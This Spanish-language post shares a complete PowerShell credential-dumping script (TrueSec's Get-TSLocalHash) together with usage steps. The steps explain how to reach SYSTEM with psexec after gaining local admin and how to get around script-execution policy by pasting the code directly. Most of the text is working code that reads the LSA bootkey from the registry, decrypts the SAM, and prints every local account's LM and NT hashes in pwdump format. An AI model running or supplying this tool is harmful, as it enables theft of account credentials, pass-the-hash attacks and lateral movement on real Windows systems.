Un muy útil script que he encontrado en la web: http://truesec.com/Content/SiteContent/Tools/Get-TSLocalHash.txt
Para usarlo, una vez obtenido privilegios local admin, descargar las PSTools de: http://technet.microsoft.com/en-us/sysinternals/bb896649.aspx
Una vez descargado en una consola de comandos navegamos hasta el directorio donde tenemos las PSTools y ejecutamos lo siguiente:
.\psexec -i -s powershell.exe
Lo cual nos abrirá una nueva consola de Powershell con privilegios de system donde deberemos ejecutar el script. En el caso que tengáis restringido la ejecución de scripts, podéis hacer bypass de la política compiando directamente el código de l escript en la ventana de powershell. Esto creará una función llamada Get-TSLocalHash. Por último llamamos a la función y nos devolverá los hashes.
En caso que el enlace se rompa copio a continuación el código del script.
function Get-TSLocalHash { <# .SYNOPSIS Extracts hashes from SAM .DESCRIPTION The Get-TSHash CmdLet extracts the hashes from SAM. The CmdLet Requires an elevated prompt and local system permissions. You can use Enable-TSDuplicateToken or psexec to retrieve system permissions. .EXAMPLE Enable-TSDuplicateToken Get-TSHash #> [CmdletBinding()] param() $signature = @" [DllImport("advapi32.dll", CharSet = CharSet.Auto)] public static extern int RegOpenKeyEx( int hKey, string subKey, int ulOptions, int samDesired, out int hkResult); [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] extern public static int RegEnumKeyEx( int hkey, int index, StringBuilder lpName, ref int lpcbName, int reserved, StringBuilder lpClass, ref int lpcbClass, out long lpftLastWriteTime); [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] extern public static int RegQueryInfoKey( int hkey, StringBuilder lpClass, ref int lpcbClass, int lpReserved, out int lpcSubKeys, out int lpcbMaxSubKeyLen, out int lpcbMaxClassLen, out int lpcValues, out int lpcbMaxValueNameLen, out int lpcbMaxValueLen, out int lpcbSecurityDescriptor, IntPtr lpftLastWriteTime); [DllImport("advapi32.dll", SetLastError=true)] public static extern int RegCloseKey( int hKey); // Shift Class From Huddled Masses public class Shift { public static int Right(int x, int count) { return x >> count; } public static uint Right(uint x, int count) { return x >> count; } public static long Right(long x, int count) { return x >> count; } public static ulong Right(ulong x, int count) { return x >> count; } public static int Left(int x, int count) { return x << count; } public static uint Left(uint x, int count) { return x << count; } public static long Left(long x, int count) { return x << count; } public static ulong Left(ulong x, int count) { return x << count; } } "@ # Add Type Add-Type -MemberDefinition $signature -Name HashDump -Namespace TrueSec -UsingNamespace System.Text # Add Script constants, as described here # http://code.google.com/p/volatility/source/browse/trunk/volatility/?r=1587#volatility%2Fwin32 # Odd Parity $odd_parity = @( 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ); # Constants for SAM decrypt algorithm $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0") $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0") $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0") $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0") $lmKey = [Text.Encoding]::ASCII.GetBytes("KGS!@#$%`0") $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); # Permutation matrix for boot key $permutationMatrix = 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 #======================================= # BootKey #======================================= # Enumerate Keys and return hidden value $values = "JD","Skew1","GBG","Data" | ForEach-Object { $baseKey = 0x80000002 $subKey = "SYSTEM\CurrentControlSet\Control\Lsa\$_" [int]$hKey = 0 # Open Reg Key using RegOpenKeyEx Method [void][TrueSec.HashDump]::RegOpenKeyEx($baseKey, $subKey, 0, 0x19, [ref]$hkey) # Read Reg Key Data using RegQueryInfoKey Method $lpClass = New-Object Text.Stringbuilder 1024 [int]$length = 1024 [void][TrueSec.HashDump]::RegQueryInfoKey($hkey, $lpClass,[ref]$length,0, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, 0) $lpClass.ToString() # Close Reg Key using RegCloseKey Method [void][TrueSec.HashDump]::RegCloseKey($hKey) } # Convert Array to String $valueString = [string]::Join("",$values) # Scramble Values $byte = new-object byte[] $($valueString.Length/2) 0..$($byte.Length-1) | ForEach-Object { $byte[$_] = [Convert]::ToByte($valueString.Substring($($_*2),2),16) } $scrambledBootKey = new-object byte[] 16; $permutationMatrix | ForEach-Object -begin {$i=0} -Process { $scrambledBootKey[$i] = $byte[$_];$i++} #======================================= # HbootKey #======================================= # Get byte array Value from registry $f = Get-ItemProperty -Path HKLM:\SAM\SAM\Domains\Account | Select-Object -ExpandProperty F # Create RC4 Key $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($f[0x70..0x7F] + $aqwerty + $scrambledBootKey + $anum); $s = 0..255 0..255 | ForEach-Object -Begin { [long]$j = 0 } -Process { $j = ($j + $rc4key[ $($_ % $rc4key.Length) ] + $s[$_]) % $s.Length $tmp = $s[$_] $s[$_] = $s[$j] $s[$j] = $tmp } $data = $F[0x80..0x9F] $hBootKey = New-Object byte[] $data.Length $s2 = $s[0..$($s.Length)]; 0..$($data.Length-1) | ForEach-Object -begin {$i=0;$j=0;} -Process { $i = ($i+1) % $S2.Length; $j = ($j + $S2[$i]) % $S2.Length; $tmp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $tmp; $a = $data[$_]; $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; $hBootKey[$_] = ($a -bxor $b); } #============================================= # Get User Keys #============================================= $users = Get-ChildItem HKLM:\SAM\SAM\Domains\Account\Users | Where-Object { $_.PSCHildName -match "^[0-9A-Fa-f]{8}$" } | ForEach-Object { New-Object PSObject -Property @{ UserName = $( [Text.Encoding]::Unicode.GetString( $($_.GetValue("V")), [BitConverter]::ToInt32($_.GetValue("V")[0x0c..0x0f],0) + 0xCC, [BitConverter]::ToInt32($_.GetValue("V")[0x10..0x13],0) ); ); Rid = $( [Convert]::ToInt32($_.PSChildName, 16) ); V = $( [byte[]]($_.GetValue("V")) ); HashOffset = $( [BitConverter]::ToUInt32($_.GetValue("V")[0x9c..0x9f],0) + 0xCC ) } } #============================================== # Get User Hashes #============================================== foreach($user in $users) { # Set encypted nt & lm hash to null [byte[]]$enc_lm_hash = $null [byte[]]$enc_nt_hash = $null if($user.HashOffset + 0x28 -lt $user.V.Length) { $lm_hash_offset = $user.HashOffset + 4 $nt_hash_offset = $user.HashOffset + 8 + 0x10 $enc_lm_hash = $user.V[$($lm_hash_offset)..$($lm_hash_offset + 0x0f)] $enc_nt_hash = $user.V[$($nt_hash_offset)..$($nt_hash_offset + 0x0f)] } elseif($user.HashOffset + 0x14 -lt $user.V.Length) { $nt_hash_offset = $user.HashOffset + 8 $enc_nt_hash = [byte[]]$user.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)] } # User Sid To Key $s1 = @(); $s1 += [char]($user.Rid -band 0xFF); $s1 += [char]([TrueSec.HashDump+Shift]::Right($user.Rid,8) -band 0xFF); $s1 += [char]([TrueSec.HashDump+Shift]::Right($user.Rid,16) -band 0xFF); $s1 += [char]([TrueSec.HashDump+Shift]::Right($user.Rid,24) -band 0xFF); $s1 += $s1[0]; $s1 += $s1[1]; $s1 += $s1[2]; $s2 = @(); $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; # String to Key $keys = @() $keys = $s1, $s2 | ForEach-Object { $key = @(); $key += [TrueSec.HashDump+Shift]::Right([int]($_[0]), 1 ); $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[0]) -band 0x01), 6) -bor [TrueSec.HashDump+Shift]::Right([int]($_[1]),2); $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[1]) -band 0x03), 5) -bor [TrueSec.HashDump+Shift]::Right([int]($_[2]),3); $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[2]) -band 0x07), 4) -bor [TrueSec.HashDump+Shift]::Right([int]($_[3]),4); $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[3]) -band 0x0F), 3) -bor [TrueSec.HashDump+Shift]::Right([int]($_[4]),5); $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[4]) -band 0x1F), 2) -bor [TrueSec.HashDump+Shift]::Right([int]($_[5]),6); $key += [TrueSec.HashDump+Shift]::Left( $([int]($_[5]) -band 0x3F), 1) -bor [TrueSec.HashDump+Shift]::Right([int]($_[6]),7); $key += $([int]($_[6]) -band 0x7F); 0..7 | %{ $key[$_] = [TrueSec.HashDump+Shift]::Left($key[$_], 1); $key[$_] = $odd_parity[$key[$_]]; } , $key } #=========================================== # LM Hash #=========================================== if($enc_lm_hash) { $md5 = [Security.Cryptography.MD5]::Create(); $rc4key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($user.Rid) + $almpassword); # RC4 $s = 0..255 0..255 | ForEach-Object -Begin { [long]$j = 0 } -Process { $j = ($j + $rc4key[ $($_ % $rc4key.Length) ] + $s[$_]) % $s.Length $tmp = $s[$_] $s[$_] = $s[$j] $s[$j] = $tmp } $data = $enc_lm_hash $obfuscatedKey = New-Object byte[] $data.Length $s2 = $s[0..$($s.Length)]; 0..$($data.Length-1) | ForEach-Object -begin {$i=0;$j=0;} -Process { $i = ($i+1) % $S2.Length; $j = ($j + $S2[$i]) % $S2.Length; $tmp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $tmp; $a = $data[$_]; $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; $obfuscatedKey[$_] = ($a -bxor $b); } $lmHash = @() # First Part $des = new-object Security.Cryptography.DESCryptoServiceProvider $des.Mode = [Security.Cryptography.CipherMode]::ECB $des.Padding = [Security.Cryptography.PaddingMode]::None $des.Key = $keys[0] $des.IV = $keys[0] $transform = $des.CreateDecryptor() $lmHash += $transform.TransformFinalBlock($obfuscatedKey[0..7], 0, $($obfuscatedKey[0..7]).Length); # Second Part $des = new-object Security.Cryptography.DESCryptoServiceProvider $des.Mode = [Security.Cryptography.CipherMode]::ECB $des.Padding = [Security.Cryptography.PaddingMode]::None $des.Key = $keys[1] $des.IV = $keys[1] $transform = $des.CreateDecryptor() $lmHash += $transform.TransformFinalBlock($($obfuscatedKey[8..$($obfuscatedKey.Length -1)]), 0, $($obfuscatedKey[8..$($obfuscatedKey.Length -1)]).Length); } else { # Return Empty LM Hash $lmHash = $empty_lm } #=========================================== # NT Hash #=========================================== if($enc_nt_hash) { $md5 = [Security.Cryptography.MD5]::Create(); $rc4key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($user.Rid) + $antpassword); # RC4 $s = 0..255 0..255 | ForEach-Object -Begin { [long]$j = 0 } -Process { $j = ($j + $rc4key[ $($_ % $rc4key.Length) ] + $s[$_]) % $s.Length $tmp = $s[$_] $s[$_] = $s[$j] $s[$j] = $tmp } $data = $enc_nt_hash $obfuscatedKey = New-Object byte[] $data.Length $s2 = $s[0..$($s.Length)]; 0..$($data.Length-1) | ForEach-Object -begin {$i=0;$j=0;} -Process { $i = ($i+1) % $S2.Length; $j = ($j + $S2[$i]) % $S2.Length; $tmp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $tmp; $a = $data[$_]; $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; $obfuscatedKey[$_] = ($a -bxor $b); } $ntHash = @() # First Part $des = new-object Security.Cryptography.DESCryptoServiceProvider $des.Mode = [Security.Cryptography.CipherMode]::ECB $des.Padding = [Security.Cryptography.PaddingMode]::None $des.Key = $keys[0] $des.IV = $keys[0] $transform = $des.CreateDecryptor() $ntHash += $transform.TransformFinalBlock($obfuscatedKey[0..7], 0, $($obfuscatedKey[0..7]).Length); # Second Part $des = new-object Security.Cryptography.DESCryptoServiceProvider $des.Mode = [Security.Cryptography.CipherMode]::ECB $des.Padding = [Security.Cryptography.PaddingMode]::None $des.Key = $keys[1] $des.IV = $keys[1] $transform = $des.CreateDecryptor() $ntHash += $transform.TransformFinalBlock($($obfuscatedKey[8..$($obfuscatedKey.Length -1)]), 0, $($obfuscatedKey[8..$($obfuscatedKey.Length -1)]).Length); } else { # Return Empty NT Hash $ntHash = $empty_nt } $user | foreach-object { New-Object PSObject -Property @{ UserName = $($_.UserName); Rid = $($_.Rid); NTHash = $([BitConverter]::ToString($ntHash).Replace("-","").ToLower()); LMHash = $([BitConverter]::ToString($lmHash).Replace("-","").ToLower()); Hash = $("$($_.UserName):$($_.Rid):$([BitConverter]::ToString($lmHash).Replace('-','').ToLower()):$([BitConverter]::ToString($ntHash).Replace('-','').ToLower()):::") } } } }